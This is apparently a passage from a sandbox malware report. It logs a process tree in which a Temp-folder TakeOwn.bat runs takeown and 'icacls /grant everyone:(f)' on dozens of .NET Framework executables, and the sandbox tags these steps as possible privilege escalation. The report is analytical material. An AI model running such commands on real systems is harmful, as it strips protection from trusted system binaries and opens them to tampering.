        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe" /grant "everyone":(f)
        5⤵
        
        PID:5908
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe"
      4⤵
      PID:4168
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe"
        5⤵
        
        PID:6020
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe" /grant "everyone":(f)
        5⤵
        
        PID:1876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe"
      4⤵
      PID:860
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4204
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe" /grant "everyone":(f)
        5⤵
        
        PID:752
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe"
      4⤵
      PID:2880
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe"
        5⤵
        
        PID:4608
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:1376
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
      4⤵
      PID:5344
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"
        5⤵
        
        PID:2524
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
      4⤵
      PID:2908
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
        5⤵
        
        PID:5796
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe" /grant "everyone":(f)
        5⤵
        
        PID:5836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
      4⤵
      PID:4960
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
        5⤵
        
        PID:1784
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:4000
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ComSvcConfig.exe"
      4⤵
      PID:6124
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ComSvcConfig.exe"
        5⤵
        
        PID:3536
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ComSvcConfig.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:4928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ServiceModelReg.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5856
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ServiceModelReg.exe"
        5⤵
        
        PID:1172
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\ServiceModelReg.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:2096
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMConfigInstaller.exe"
      4⤵
      PID:3100
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2432
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMConfigInstaller.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:3416
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMConfigInstaller.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:244
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe"
      4⤵
      PID:2804
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe"
        5⤵
        
        PID:4472
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\SMSvcHost.exe" /grant "everyone":(f)
        5⤵
        
        PID:2676
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\WsatConfig.exe"
      4⤵
      PID:2656
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:892
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\WsatConfig.exe"
        5⤵
        
        PID:5260
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\WsatConfig.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:4304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.0\WPF\XamlViewer\XamlViewer_v0300.exe"
      4⤵
      PID:1568
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2040
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.0\WPF\XamlViewer\XamlViewer_v0300.exe"
        5⤵
        
        PID:4028
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.0\WPF\XamlViewer\XamlViewer_v0300.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess.exe"
      4⤵
      PID:1728
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:3652
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess.exe" /grant "everyone":(f)
        5⤵
        
        PID:4572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess32.exe"
      4⤵
      PID:4360
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess32.exe"
        5⤵
        
        PID:4148
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\AddInProcess32.exe" /grant "everyone":(f)
        5⤵
        
        PID:2668
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\AddInUtil.exe"
      4⤵
      PID:648
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\AddInUtil.exe"
        5⤵
        
        PID:3620
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\AddInUtil.exe" /grant "everyone":(f)
        5⤵
        
        PID:2180
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe"
      4⤵
      PID:2192
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe"
        5⤵
        
        PID:4908
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\DataSvcUtil.exe"
      4⤵
      PID:5996
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\DataSvcUtil.exe"
        5⤵
        
        PID:4880
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\DataSvcUtil.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\EdmGen.exe"
      4⤵
      PID:2712
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\EdmGen.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:3928
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\EdmGen.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:3180
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\MSBuild.exe"
      4⤵
      PID:4876
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\MSBuild.exe"
        5⤵
        
        PID:5508
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\MSBuild.exe" /grant "everyone":(f)
        5⤵
        
        PID:4340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\vbc.exe"
      4⤵
      PID:1496
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\vbc.exe"
        5⤵
        
        PID:492
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\vbc.exe" /grant "everyone":(f)
        5⤵
        
        PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v3.5\WFServicesReg.exe"
      4⤵
      PID:4312
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v3.5\WFServicesReg.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:4232
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v3.5\WFServicesReg.exe" /grant "everyone":(f)
        5⤵
        
        PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
      4⤵
      PID:5004
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
        5⤵
        Modifies file permissions
        
        PID:1556
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:4388
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:4852
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        5⤵
        
        PID:4236
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" /grant "everyone":(f)
        5⤵
        
        PID:1476
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"
      4⤵
      PID:5460
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4828
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"
        5⤵
        
        PID:4808
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe" /grant "everyone":(f)
        5⤵
        
        PID:4456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5280
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:3316
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" /grant "everyone":(f)
        5⤵
        
        PID:3656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:3416
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        5⤵
        Modifies file permissions
        
        PID:2304
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
      4⤵
      PID:4032
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        5⤵
        
        PID:5000
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
      4⤵
      PID:5036
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:1840
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5644
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
      4⤵
      PID:3492
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
        5⤵
        
        PID:5248
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:864
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe"
      4⤵
      PID:6040
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe"
        5⤵
        
        PID:5184
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe" /grant "everyone":(f)
        5⤵
        
        PID:3396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1480
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe"
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3616
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:3660
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      4⤵
      PID:2308
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        5⤵
        
        PID:4128
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" /grant "everyone":(f)
        5⤵
        
        PID:5412
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
      4⤵
      PID:5164
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
        5⤵
        Modifies file permissions
        
        PID:6072
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe" /grant "everyone":(f)
        5⤵
        
        PID:2208
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
      4⤵
      PID:5788
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
        5⤵
        
        PID:488
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /grant "everyone":(f)
        5⤵
        
        PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
      4⤵
      PID:1956
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
        5⤵
        Modifies file permissions
        
        PID:4340
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" /grant "everyone":(f)
        5⤵
        
        PID:3876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5764
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
        5⤵
        
        PID:1964
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe" /grant "everyone":(f)
        5⤵
        
        PID:4180
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1496
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:3636
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        System Location Discovery: System Language Discovery
        
        PID:2088
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
      4⤵
      PID:1468
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5908
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
        5⤵
        
        PID:4388
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5888
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe"
      4⤵
      PID:4696
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe"
        5⤵
        
        PID:5496
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe" /grant "everyone":(f)
        5⤵
        
        PID:1476
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:5432
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4240
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4244
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" /grant "everyone":(f)
        5⤵
        
        PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
      4⤵
      PID:1376
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        5⤵
        
        PID:3904
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:5344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"
      4⤵
      PID:2328
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"
        5⤵
        
        PID:3184
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        System Location Discovery: System Language Discovery
        
        PID:3736
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1768
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        
        PID:1700
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:4492
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe"
      4⤵
      PID:3516
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe"
        5⤵
        
        PID:6136
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:3608
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
      4⤵
      PID:4208
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
        5⤵
